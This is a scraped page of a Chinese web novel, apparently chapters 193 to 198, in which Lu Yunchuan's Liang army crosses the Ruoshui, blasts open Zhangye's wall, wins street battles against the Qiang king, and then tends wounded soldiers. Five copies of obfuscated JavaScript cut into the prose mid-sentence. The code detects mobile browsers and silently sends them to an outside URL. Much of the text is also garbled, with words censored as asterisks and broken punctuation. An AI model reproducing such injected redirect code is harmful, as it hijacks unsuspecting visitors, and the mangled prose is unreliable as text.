五千名全副武装的黑甲步兵如修罗般加入战场! 而在大拐弯的河东岸,十台重**床与五台投石炮机都已架好。 “开炮!!! 捆绑着**的重箭,以及火龙弹与震天雷,在空中划过一道道弧线,如同流星陨落一般掠过塔楼,砸在羌军进攻阵仗中。 “轰隆隆…… **声震天动地! “将士们,**时刻到了! “杀啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001700|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每一声**都让人澎湃,士气陡然飙升。 凉军大举**! 羌军被**炸得血肉横飞,心里上的震颤,导致士气迅速跌落。 “撤! “快撤! 羌军后撤得也果断,扭头便往塔楼外跑。 “王上有令,骑兵未至,穷寇莫追! “修缮防御,封锁塔楼! 将羌军赶出塔楼防线之后,工兵迅速围拢,抓紧修补撞破的城门。 东岸那边大部队也开始运送各种辎重渡河,一箱接着一箱**被送上塔楼,防御体系被重新构建。 渐渐。 夜尽天明。 弱水河岸静得出奇,仿佛一切都 回到了起点,一切都未曾发生过一般。 此时,西岸河塘之上。 “大王,我们本来都快要夺回塔楼的,可是突然凉军远程支援赶到,我们……” 众羌兵军官低着头。 乌尔丹的尸体就摆在河塘上,经过一晚上的寒冻,他尸体已经发硬,额头上的血洞触目惊心。 听到失败的消息,李天昊面无表情。 原本在龙脊关北狄大败,他还以为只是凉军侥幸,如今亲自交手后才明白,凉王果然名不虚传,是自己小看了这支狼虎之师啊。 “防线既然被撕裂,没有必要再镇守了,传本王命令,退守张掖城。” “是!” …… 正午时分。 天气有所回升,弱水中心冰层融化,形成一块块浮冰。 陆云川泛一只小舟,领着近卫军进行收尾。 至此,八万大军全部渡过弱水。 “王上,前方探马来报,羌军全线收拢,已放弃河塘,退守张掖城。” 登岸过后,刘马上前禀报。 陆云川轻嗯了声,淡声道:“意料之中。” 他随即令道: “命令掘子军,在弱水河道最窄处,多架设几道木桥,确保后辎重转运顺利; 以塔楼为中心,沿岸分扎三营,全军休整三日,三日之后,攻打张掖。” “得令!” 第一百九十四章强攻张掖城 三月十四八万凉军兵临张掖。 一望无际、连绵不绝的丹霞丘陵之间便是张掖城。 烈日当空 干燥的春风卷着河西走廊的沙砾抽打在陆云川的鎏金甲胄上黑色披风飒飒作响。 身后八万凉州铁骑沉默如渊刀枪如林日头下反射出刺眼的白光。 前方张掖城的黄土城墙高大厚重城头羌旗翻卷竖起黑色大盾羌王李天昊躲在铁盾后带着恨意怒瞪着城下的陆云川。 为什么躲在盾后呢? 凉军有一种百步穿杨的神秘火器可以一枪打爆人的脑袋先前乌尔丹就是这样被狙杀的。 “凉王!羌国与尔并无过节还赠送美人与财宝于你你不但不领情反倒领兵来犯我境你!不仁不义!你!恶贯满盈!你!天下各境人人得而诛之!” 羌国使者尼玛支出一颗脑袋扯着嗓子向城下大骂。 陆云川掏了掏耳朵招了招手。 马山从马鞍上摘下一只“喊话喇叭”递到了陆云川手中。 陆云川接过喇叭清了清嗓子冲城上大声回了四个字: “谢谢夸奖!” “你!” 尼玛本来嘴里还有一大串口罚骂言却被这四个字硬生生给怼了回去“难怪是土匪出身脸皮简直比城墙还厚!” “羌王李天昊!” 陆云川冲城墙上喊话:“叫一个腐儒出来骂阵你算什么一国之主何不出来面对本王?” 李天昊听此挑衅瞬间怒火中烧怒声回道:“你一个名不正言不顺的匪王有何资格与本王对话!” 陆云川冷冷一笑:“哦?赐予你‘李’姓是让你效忠中原王朝你却扭头便拜倒北狄脚下给他们当了看门狗羌国有你万民之耻!” “你——” “今日本王便给你个‘认祖归宗’的机会开城投降向大凉俯首称臣本王保你世代子孙皆稳坐王位。” “陆云川我去**!” 李天昊瞬间破防扒开铁盾探出头来大喝:“你要战便来战——” “啪!” 平地里一声枪响。 **擦着李天昊的头皮呼啸而过吓得他脸色铁青赶紧将头缩了回去。 “无命还得练啊。”陆云川瞥了一眼身旁还保持着开枪动作的钱无命。 钱无命吹了**口的硝烟苦涩道:“大概是风沙太大弹道有些偏了王上教 训的是,末将下去后定勤加练习…… “可惜啊,没能一枪打死他……白费了本王口舌。 陆云川扔掉喇叭,摆了摆手,轻吐两个字: “攻城。 令旗一挥,擂动的巨鼓,声如雷霆! 八万颗头颅猛地抬起,眼中燃起噬血的光! “冲啊! 攻防战,拉开序幕。 相比较于中原雄关与城池,张掖这座县城防御力要差得多,只有一道干涸的壕沟,无法引水护城。 在铁盾军阵的掩护下,攻城车与冲车已堆到门口! “给我上!先登者,赏千金! 百架云梯同时架向高耸的土墙,凉军黑甲如蚁附上,举盾持刀向上攀登! “落! 羌兵怒吼! 百斤重的巨大滚木,边缘包铁,带着死亡的风啸,轰然砸落! “嘎吱—— 骨骼碎裂声淹没在巨大的撞击声中,云梯崩断如脆枝,整串凉国惨叫着摔落城脚,在坚硬的黄土地上砸得血肉模糊! “放箭! 城头**机齐响,粗如儿臂的破甲重**撕裂空气! “噗嗤! 洞穿冲锋凉军的铁甲,更有淬了剧毒的狼牙箭,中人即倒,脸色青黑,顷刻毙命! “投石车,重**,压制城头! 火龙弹,震天雷,**,渔火油,各类**类火器被重**与投石机扔上城墙。 “轰隆隆! **声此起彼伏,硝烟弥漫战场,炸得墙上血肉横飞! 双方互换死伤! “破门! 冲车咆哮着撞向包铁巨门! “咚!尘土簌簌而下! “砸烂凉军冲车! “砸! 城头上,粗如手臂的铁索拖拽着比人还高的巨大石锤,带着千钧之力,从城头垂直轰然砸落! “轰!一辆冲车顶棚瞬间变形碎裂! 内部士卒筋骨寸断,血水从木头缝隙中渗出! “倒毒油! “倒金汁! “倒沸水! 在攻防战中,攻城方向来处于弱势,每一寸的推进,都需要鲜血来填! “烟幕弹! “龟甲阵! “掘子军!爆破! 投石机一改进攻性**,换成装满石灰与硝粉瓷罐,抛上城墙炸开,便是一片白茫茫的烟雾。 石灰吸入口鼻,渗入眼睛,咳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001701|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗽声络绎不绝! 龟甲阵是昔日从边军手中学来,再结合先前从北狄军中缴获的放火大盾,由三百名身强体壮的盾兵为一组,高举盾牌结成如“龟甲”般的移动堡垒! 箭射不穿,火烧不透,油侵不坏! 以烟幕干扰守军视线,龟甲大阵作掩护,陈世钊率领两百掘子军暗藏于龟甲之内,扛着铁锹、重镐与数十个沉甸甸的**木箱,向墙角下移动! 既然城门撞不开,那便从城墙着手,只要能炸开一个洞,便能撕裂整座张掖城! “凉军耍花招了!给本王集中雷石,破开那龟甲!” 虽不知这移动的龟甲意图如何,但绝对不能放他们靠近,李天昊一声令下,墙上所有雷石,滚木,金汁,热油,超过半成望龟甲泼来! 龟甲防御性虽高,可面对无数砸击,前进步伐受挫! “**营,火器营,压制城头!” 陆云川这边也迅速做出战斗调整,命令远程部队专打城头扔雷石的据点。 即使城头铁盾能挡下**与飞箭,后续跟进的重箭与**也能将盾阵破开。 城头的攻击效率大大减弱,龟甲阵一鼓作气,冲到了城墙之上。 “都他娘给我顶住了!” 三百张铁盾堆叠在一块儿,以**躯干作为支柱,死死盯着墙头的无数砸击。 “挖,往下挖,挖到城墙根!” 陈世钊大吼! 染血的铁镐疯狂砸下,碎石迸溅,土地干燥坚硬如铁! 就算铁镐卷口崩刃,便用血肉淋漓的双手去扒! 盾被破开,便收拢顶上!有人倒下,便将其拖开,一言不发扑上! “挖到墙根了!” “埋!” 一箱箱**被艰难推入城墙地基下的狭窄缝隙,引线缠绕接续! 陈世钊擦了擦汗水,拖着几乎脱力的身体爬出墙坑,冲一旁掘子军士卒道:“点火……剩余三寸,我再走……确保它能炸……” “将军,我留下!” “你留下个屁啊,渡河时我便该死,这一次,我看着!快点!” 士卒咬了咬牙,取出火折子,就此点燃了引线。 “留二十人举盾,其余龟甲,往后撤!” “快!” 龟甲阵迅速分离出一个“小龟甲”,大龟甲则掩护其余掘子军往战场外撤。 “滋滋滋……” 死亡引线,正在燃烧! 第一百九十五章 修罗巷战 “要**啦! “快闪入壕沟! 陈世钊见引线燃烧得不足三寸时,扯着嗓子惊呼! 盾兵们连铁盾都不要了,扭头便往身后的壕沟冲刺! “这群凉狗……到底他妈在干什么! 李天昊在城墙上破口大骂,烟雾太浓,他根本什么都看不清,但他心里清楚,凉军一定在捣鬼! 未知的恐惧,往往最渗人心! “给本王……开城迎战! 李天昊话音刚落! 城墙下传来一声低沉到令人心脏骤停的闷响。 “轰隆隆!!! 莫约五丈长的城墙连同地基,像被一只看不见的巨手从地底掀飞! 巨大的土块混合着城砖,守军断肢,血肉,燃烧的木梁冲天而起! 瞬间形成一个十余丈的巨大蘑菇云! 无尽的泥沙与猩红血雾喷涌四溅! 整座城池都在剧烈晃动! 碎石雨幕之中,一个撕裂天地的巨大缺口,暴露在世人眼前! 张掖城……竟被硬生生给炸开了! “大凉铁骑! 虎骑,豹骑,秦鸣,萨武,赵猛,所有将士早就已经等得不耐烦! “冲进张掖城,诛杀李天昊! “驾! “杀啊! 烈马长嘶,杀声暴起! 大凉铁骑养着尘土,踏着鲜血,以势不可当之势灌入缺口! “大……大王,凉军入城了! 尼玛声音都在颤抖。 “慌什么! 李天昊全然不惧,“本王尚有十万大军,铁塔军所向披靡,岂会害怕肉搏? 他拔出腰间金刀,“羌国将士,随本王迎战凉军! 羌王都亲自下场了,凉王岂能缩在阵后? 陆云川将披风狠狠一扯,拔出腰间佩刀,“近卫军,随我进城杀敌! 入城! 最为血腥的巷战拉开序幕! 凉国黑甲以密集盾墙踏着残骸推进,长矛如林前指! “铁塔军!堵住街巷缺口! 羌军嚎叫。 瞬间,从街巷两侧瓦顶,断墙后,涌出成片重甲羌兵! 手中或持沉重弯刀,或握狰狞骨朵,更有长柄钩镰枪! 没有试探,只有最原始的疯狂对冲! 两军像两块烧红的铁锭轰然撞在一起! “咣! “锵! “噗嗤! 巨响震得人耳膜刺痛! 矛尖贯入甲缝弯刀劈开盾牌! 重锤砸在铁盔上沉闷的颅骨碎裂声令人齿寒! 长戟钩住腿铠将人猛地拉倒在地随即被乱刀剁成肉泥! 盾牌撞击! 弯刀劈砍! 拳头撕打! 拳拳到肉! 刀刀见血! 牙齿啃咬喉咙! 手指抠进眼眶! 双方士卒滚倒在地用头盔撞击用指甲撕扯! “妈的!老子弄死你!” 不是你死就是我亡每个身处战场的士卒都已杀红了眼眶! 仅仅就一条街巷双方你推过来我推过去! 翻翻覆覆拉扯了十余次除了留下尸体外最终还是停滞在原地! “**营!射死这帮凉狗!” 近身肉搏打不动便调派远程部队。 街巷两侧坍塌的土墙后突然冒出无数手持强弓的枪兵! “放!” 箭矢近距离如泼雨攒射! “嘣嘣嘣!” 强劲的力道贯穿甲胄前排凉军惨叫着倒下一片! “穿甲军!” “**!火绳枪!齐射!” 穿甲军也及时赶到明显要比羌军**手训练有素一百把火绳枪配合三百把**交叉射击杀伤力更强火力网更密! 羌军步兵一排接着一排倒下凉军趁势反扑押上逐渐在巷战中占据上风! 步兵在巷子里混战骑兵则在大街上对冲! 羌军铁塔重骑全身披挂锁子甲手持长矛马枪只露凶戾双眼! 大凉虎骑军团人具甲马具铠重甲一百零八斤手持长矛与**! 双方各集结了一千余骑! “铁塔马阵冲啊!” “虎骑!碾碎羌军!” 重骑兵相互对冲! 刀斧长矛几乎无法互相伤害! 全部都是重甲 一波冲锋下来除了坠马被踩踏致死的都没有取得实质性的效果。 “秦鸣萨武退下!换个战术!” 赵猛带着三百钩镰枪阵冲出阵前对付重甲骑兵自然要勾马脚了! “列阵!” 铁盾在前枪兵在后循序向前推荐! “嗤!” “区区三百人便想当我羌军铁塔!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001702|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“冲锋!” “轰隆隆!” 钢铁巨浪猛烈撞击而来! 咔嚓!噗嗤!骨裂!马嘶!人嚎! 最前排的拒马长矛如枯枝般折断,沉重的战马狠狠撞上后方盾阵! 马背上的骑兵借势狠狠戳下**,后方枪兵怒吼着滚入马腹之下,配合**,重斧,疯狂砸向铁蹄! 前排羌军战马惨烈嘶鸣倒地! 骑兵被掀翻,沉重的铁甲成了活靶子! 刀斧悍卒扑上去,刀砍斧劈,铁锤猛砸! 而骑兵借助马背优势,挥砍捅刺,从钩镰枪阵中破开一条血路! 三百钩镰枪,自然挡不住一千铁骑,不过—— “散开!让开通路!” 钱无命带着剩下的两百支**,如同鬼魅般出现在街道两旁的房顶上! “撤开枪阵!” 凉军马步兵如同潮水般轰然向两侧破碎房舍分开! 铁塔羌兵望着眼前突然撤开的防御,都纷纷露出了短暂错愕。 “瞄准了都!” “放!” 钱无命一声令下! “砰砰砰——” 两百支火绳枪同时开火,浓密的白烟瞬间笼罩整个街口! 灼热的铁弹如同暴雨般泼向正在整队,来不及散开铁塔重骑兵! “噗噗噗——” 铁甲被扭曲穿透,瞬间便有百余重骑兵坠马而亡! “大盾!掩护骑兵!” 枪兵终于明白,重甲能防刀剑,能防**箭,但绝对挡不住这火器! 于是乎急忙调来大盾,结成丈许高的盾阵,企图进行防御! “停!” 钱无命做了个收枪的动作,**手填好**,保持好姿势,却并未射击。 “朱雀军的兄弟们,该你们上场了!” 钱无命扭头冲身后喊道。 顷刻间,上百名朱雀**器营的士卒,人手抱着两罐“震天雷”,从两侧残破的屋顶,窗洞中猛地出现! “炸开铁盾!” 士卒点燃的引线,将震天雷一股脑投向敌阵铁盾! “轰轰轰——” 连环**如同雷神暴怒! 炽热的火焰夹杂着铁蒺藜,猛烈横扫,羌军盾阵瞬间便被肢解! “放!” 没了盾阵的掩护,火绳枪再次发力,钢铁**飞向铁塔骑兵! 第一百九十六章 拿下张掖城 铁甲防不住! 铁盾也防不住! 被火绳枪当活靶子击杀了几波,羌军士气陡然大跌,阵法已经乱了,战意已经消了,失败已成定局! “凉国将士们,敌军已被我军神威吓破了狗胆,一鼓作气,拿下张掖!” “冲啊!” 凉军越战越勇,开始全线反推! 张掖城中的混战,从正午一直持续到了傍晚,战火几乎焚毁了整个县城,死的不光是双方士卒,还有张掖城中的老百姓。 羌军节节败退,死的死,伤的伤,逃的逃。 最后只剩下两千名近卫,掩护着李天昊退守至城西一片民居。 李天昊被震天雷的气浪掀得耳鸣不已,眼前一片血红模糊,听着凉军不断逼近的讨伐声,他肝胆欲裂! “可恶啊!可恶啊!!!” “大王,再不走来不及了!”尼玛来到李天昊膝下,指了指北边方向:“臣之前专门去调查过,北墙根排水豁口可通人,只有那里了,能出去多少是命数!” “你让本王钻下水道!” 李天昊牙齿咬得咯咯作响。 “大王,中原有句话,叫做‘留得青山在不怕没柴烧’,我们在酒泉尚有奇兵,还有狄朝在背后撑腰,大不了忍一忍,来日再来复仇!” 尼玛由衷相劝。 李天昊扫了一眼身边仅存的两千亲卫,这些曾经都是最悍勇的战士,如今他们眼中也只剩下仓惶与绝望。 “好……冲!向北!杀出去!” 最后的亡命冲锋! 两千亲卫护着李天昊,如同困兽,向着北城方向发动了**式的决死突围! 他们将盾牌举过头顶,以近乎密集自缚的阵型,用血肉硬冲凉军的拦截火力! “射杀他们!李天昊要跑!” 屋顶上监视的钱无命,亲自操作一支火绳枪,砰的一枪贯穿了一名亲卫的身体! **手,**手,同时对准枪兵,“嗖嗖嗖……”一通齐射! 但人在绝境之下,爆发力是惊人的—— 近卫在箭雨**中成片倒下,后面的人踏着尸体继续冲,硬是用尸体堆平了一段矮墙,用密集的人体消耗尽了封锁通路的火力! “掩护大王冲出去!” 亲卫以血捍卫李天昊,将他先从排水口送了出去,随后则是尼玛,众军官依次跟进,士卒则留在最后。 当萨武带着骑兵赶到时,羌军逃走了大半! “拖住他们,掩护大王逃跑!” 剩下的百余名羌兵近卫,自知已逃不掉,果断上前搏杀争取时间! 豹骑一通围剿之下,近卫很快便被斩杀殆尽! 有些没死透的,竟主动爬到排水口,用血肉之躯进行封堵! 战争,从来都没有谁对谁错,只有谁强谁弱。 作为王前近卫,他们燃烧了最后一丝价值,哪怕是敌人也值得尊重! “战后……让这些近卫都入土为安吧!” 萨武收回眼中的慈悲,一刀结果了堵洞的亲卫,勒马招呼道:“豹骑,随我从西门去追!” “驾!” 一千豹点燃火把,辗转城西,就着夜色展开追击。 半个时辰后,夜幕完全降临,荒漠吹起寒风,气温降至冰点。 “萨将军!萨将军!” 刘马快马加鞭,大声追上来喊道:“王上特让我传话,再往西去便已是茫茫沙海,若没有追到便不追了,免得迷路!” 脚下土地明显已变得松软,沙漠气候多变,还可能会有流沙,若迷失了方向,进去了可就出不来了。 “可恶……这帮羌国耗子,钻得还真快!” 萨武暗骂了声,虽然不甘心,还是调转马头,“走,回城!” 豹骑只好原路折返。 而就在马蹄声消失过后,就在方才他们停驻不足十丈处的沙丘下,李天昊以及五百残兵,纷纷从沙地里钻了出来。 “呸!” 李天昊啐了一口嘴里的黄沙,跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001703|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒在沙地中,双手又攥起两把黄沙,仰天长嚎:“本王的十万大军啊!十万大军啊……” 其余残兵亲卫,皆忍不住抹泪哭泣。 “大王勿要伤心,胜败乃兵家常事,我们还有酒泉,还有玉户雄关,还有这片茫茫沙海,何愁不能卷土重来?”尼玛出声安慰道。 “光有险关有个屁用,没有兵力镇守,如何能抵挡得住凉军!”李天昊攥着拳头说道。 “大王想要兵力还不简单?” 尼玛捏了捏下巴的山羊胡须,“若梁军拿下玉户关,打通河西走廊,狄朝西部便会直面威胁,他们肯定不会坐视不理; 我们何不去找狄朝借兵呢?” “借兵……能行么?去年狄朝在龙脊关,也在这凉王手中折损了不少兵马!”李天昊微微一愣。 “若狄朝不借兵,那咱们便退回关外,坐山观虎斗;凉国若赢了,便投靠凉国;狄朝赢了,便继续依附狄朝。” 尼玛呵呵一笑,“按照臣下的计策,无论如何,我国皆不会有什么损失。” 李天昊一听,眼珠子一转,顿时愁容消散,“尼玛真是戈壁荒漠上第一智者啊!” “大王且回酒泉好生静养,此战我军虽败,凉军也损失不小,再者有茫茫沙海阻隔,我料定他们在短时间内,定不会再往西进。” 尼玛扪着胸口,傲然自信:“臣下愿凭这张三寸不烂之舌,为大王讨来一支十万大军,再向凉国复仇!” …… 张掖这边。 从清晨到深夜,战斗虽已结束,但战火仍未被扑灭。 血肉磨坊的巷战,几乎殃及了全城百姓,超过一半房屋被摧毁,死伤不计其数。 今日鏖战,虽大胜羌军,但自身战损也不小,死伤将近三万人,**等辎重已差不多消耗殆尽。 再往西走,便是酒泉县境,三百余里不是戈壁便是沙漠,在整条河西走廊中,地理环境最为艰苦,大军想要西进必须做足准备。 那么,接下来一个月,便休战养兵吧。 第一百九十七章姜大夫是大家的 作为战场统帅,休战期间亦不可掉以轻心。 张掖虽已被凉军夺下,但那些溃败逃散的羌兵,四处流落化身为兵匪,在县境内的村镇上烧杀劫掠。 陆云川派遣萨武率领豹骑,开始了漫长的沙漠游骑,进行余孽清剿。 情报方面也不可以懈怠,陆云川让刘马等斥候探子,结合当地牧民,进入沙漠边缘数十里,寻找,标定可靠的水源,侦查后续进兵可能的显露与危险; 沙漠气候多变,沙暴,流沙,毒虫,太多不确定因素,必须全面摸清。 还有今后要面临的沙地作战,如何负重行军,辨别方向,紧急避险,都需要勤加训练。 以上的这些问题,只要花时间便能解决。 最让陆云川头疼的是——没钱了。 八万大军远征,衣食住行,吃喝拉撒,武器辎重,伤亡抚恤…… 八万大军人吃马嚼,一天仅粮草便要消耗三十吨,而粮食要从雍州转运到武威,再从武威转运到张掖,光路上运输便得消耗掉至少三成…… 打仗实在太烧钱! 不对,比用火烧钱还要快! 陆云川坐在行馆书房内,抱着从雍州发来的统计文书,头皮都快扣肿了。 以目前的战争消耗,国库里钱粮最多只能持续到六月份,若收剐民脂民膏,或可再多撑一个月。 换句话说,若三个月内拿不下玉户关,这次远征便会以失败告终。 “王上,姜军医在外求见。门外传来护卫的禀告。 姜采桑? 陆云川眯了眯眼睛,“让她进来。 “是。 片刻后,姜采桑走进书房,眼袋厚重,脸上写满了憔悴。 战斗时士兵最苦,战斗后军医最累,此次张掖城之战伤兵过万,身为军医的她也是极其辛苦。 “姜大夫找本王何事? 姜采桑迟疑了片刻,才支支吾吾吐出一句话:“我想……洗个澡。 她毕竟是个女人,不如男人那般洒脱,何况本地水资源稀缺,想要舒舒服服洗个热水澡并不容易。 “我只要一桶水就够了,热水凉水皆可。 她怕陆云川为难,赶忙开口降低自己的要求,她眼中带着渴望,又小声嘀咕了一句:“当初你说过,有需求便来找你的…… “我这行馆里只有侍卫,可没有能伺候你洗澡的侍女。陆云川淡淡说道。 “那不打紧的,水我可以自己去打,自己去烧。姜采桑说道 。 “后院有一口水井水是满的你想用多少便用多少后院柴房边有一间浴室里面的浴桶是我用过的你若不嫌弃便自用吧哦对了还有这个。” 陆云川从抽屉中摸出一块未开封的香皂丢了过去“姜大夫救治伤兵辛苦这块香皂便赏赐给你了。” “香皂?” 姜采桑好奇接过举在鼻间轻嗅“好香……” “打湿水将它涂抹全身揉搓片刻污垢自消。”陆云川说道。 “谢王上!” 姜采桑欣喜拜谢捧着香皂小跑离去。 陆云川摇头浅笑了声起身离开书房。 “备马去医帐转转。” “是。” 若非姜采桑这个军医出现陆云川差点忘了应该去慰问伤兵。 陆云川前世是军人出身对“战后创伤”十分清楚不仅是身体上心理上影响更大。 “我为什么而战?” “下一个死的会不会是我?” “连做梦都是血腥的战场。” 不论是胜利还是失败每个历经血肉磨坊的士卒心理都会产生变化。 这也是为何逃兵那么多的原因人不是机器人是有思想的。 安抚劳军发泄同样是战争重要的一环。 不过…… 医帐里的气氛似乎并没有陆云川想象中的那么沉重? “姜大夫呢?我的姜大夫呢!” “我说姜大夫又不是你一个人的她是大家的!” “就是就是你才被砍了一刀老子可是挨了三刀中了两箭的呢!要换也是先给我换!” 自打进入医帐“姜大夫”这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001704|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字眼已出现了不下十次。 “哦?为何你们偏偏要姜大夫来给你们换药啊?” 陆云川走进医帐来到叫唤得最凶被“砍了三刀”的那名年轻士卒床前。 砍了的这三刀一刀在大腿一刀在肩膀一刀在背部剩下的两箭分别在屁股与肩膀上也算这年轻士卒八字够硬了这都还能活下来。 年轻士卒趴在病床上难以翻身因此看不清来者。 医帐里的其他士卒都好奇打量着这位身穿便服的年轻人 陆云川一般都在行辕里坐着即便在战场上也是被近卫军团包围而且穿着铠甲戴着头盔寻常的大兵小卒认不出他也很正常。 “那还用说嘛姜大夫温柔体贴呗说话 也好听,长得也……呃,呵呵,反正就是让她治病,我疼痛能瞬间少去一半!” 年轻士卒毫不犹豫夸赞。 就算再女扮男装,她也是个女人,也改变不了女人的气质。 姜采桑的确医者仁心,喜欢被她看病,属实正常! 年轻士卒又竖起大拇指:“姜大夫还说了,我被砍三刀,身中两箭都没死,未来一定能当上将军,这大实话谁听了不高兴?” “哈哈哈……” 陆云川哈哈大笑,这年轻士卒,还真是有趣。 “你叫什么名字?什么职务?”他问道。 “姓刘,名淼,赵将军帐下先锋营什长!”年轻士卒铿锵有力报出自己的名字与军衔,于此同时也反应了过来,他艰难扭过头,瞥向床前的陆云川: “你是哪位,为何问我姓名军衔——” “哎呀,你们也真是的,王上来了医帐为何不通知我呢?” 医帐外传来一声苍老的责备。 接着,一名蓄须的五旬老者,领着众军医匆忙走进军帐,他是军中首席军医宋松。 宋松自然是认得陆云川的,赶忙上前行礼:“王上驾临医帐,微臣未能远迎,还请王上恕罪!” 此言一出,满帐皆惊! 特别是那个叫刘淼的年轻士卒,差点没从床上蹦起来! 第一百九十八章 驭人先驭心,乃帝王之术 “王上……我这……我我…… 刘淼语无伦次。 “行了行了,快躺下吧,不知者无罪,何况你本就无罪。 陆云川将刘淼摁回了病床,他环视着医帐内的伤兵,由衷感慨道: “诸位将士的伤都是为本王所受,为大凉所受,说来是本王应该谢过各位了才对。 从君王口中的“谢字堪比千金! “待玉户关破,诸位将士身上的每一条伤疤,都将是加官进爵的军功!陆云川铿锵有力。 “我等报效王上,本该视死如归! 众将士亦是义愤填膺。 “那姜大夫何许人也啊?我听她在医帐中威望颇高啊。 陆云川故意眼神瞥向宋松。 “回禀王上,姜大夫她……她是太医院来的,医术高超,人品大善,就是……就是……呃, 宋松组织了一番语言,“就是比较贴心,故而深受欢迎……她劳累了三天三夜,我让她今日下去休息了,眼下并不在军中。 陆云川听得出来,这老军医明显是在袒护姜采桑。 “如此听来,日后有机会的话,本王一定要见见她。 陆云川点点头,又偏头冲一旁的马山道:“传本王命令,在城西择一处空地,专门搭建一座医院; 再去城中有偿招募年轻女眷,由姜大夫教授她们医护技巧,来帮忙照顾伤兵。 将医帐独立出去,便不违反军中不能有女人的规定了,姜采桑的身份也可得到保护。 再者,战地医院中怎么能没有漂亮女护士呢? 让美女来包扎伤口,比任何止疼药还管用。 “王上,您还真懂咱们的想法呀!刘淼龇牙笑道。 废话,男人能不懂男人的心思么? “但你要记住,不许轻薄调戏人家,否则被本王知道,决不轻饶!陆云川告诫道。 “那不能,那不能……我还怕她们在我们伤口撒盐嘞! “哈哈哈…… 陆云川大笑走出医帐。 行军打仗,最重要的便是军心,只要军心是暖的,士气便永远不会散。 驭人先驭心,乃帝王之术。 离开医帐后,陆云川又辗转较场。 较场设在城外沙漠之中。 还未靠近便听到了赵猛练兵的嗓音: “都听好了!看好了!我只教你们一遍! 当在沙漠中遇到了流沙,第一,先不要慌,你越慌便陷得越快!第 二,让自己身体后仰,与沙面持平!第三,缓缓抬起你的左脚,尝试从沙坑里挣脱!” “学好了这个技巧,沙漠行军时便可保命!” “废话不多说,一个字,练!” 从昔日大破铁马连环阵,再到今日训练沙漠陆战,赵猛绝对是一等一的将才。 “王上大驾光临,末将有失远迎——” “行了行了,本王便装出行,就没那么多规矩了。” 陆云川扯下腰间的羊皮袋,塞进赵猛手中,“将军日夜练兵,辛苦了。” 三月底,春去夏至,白天的问题陡然升高。 “为了能打胜仗,不辛苦!” 赵猛擦了一把额头的汗水,扒开羊皮袋便灌了一口,刚入嘴里,眼睛便亮了:“这是……酒!” 上阵杀敌之人,谁不馋这口酒? 只是碍于军中纪律,没人敢喝罢了。 赵猛望着发笑的陆云川,当即心领神会,往嘴里“咕噜咕噜”灌了两口,爽快! “慢慢喝,都是你的……接下来,让本王来替你练兵。”陆云川笑着拍了拍赵猛的肩膀。 “王上也会练兵?”赵猛挑了挑眉毛。 “当然会了,且本王的练兵手段,不仅能提高战斗力,还能鼓舞士气!” 陆云川大步自信走上校场。 众士卒纷纷停下动作,赶忙有序列队,肃然起敬。 “诸位将士,从今日起,咱们换个方式练兵!” 陆云川高声说着,扭头扯下了一株干枯的梭梭树,并将其捏成了一颗圆球,高举在手中冲队列中问道: “可有人会蹴鞠啊?” “蹴鞠当然会啦!” “我们乡里,年年都有蹴鞠比赛呢!” 队列中一阵骚动,可见蹴鞠这项运动在当代很受欢迎。 “好!既然大家都会蹴鞠,那咱们便举办一场蹴鞠比赛!” 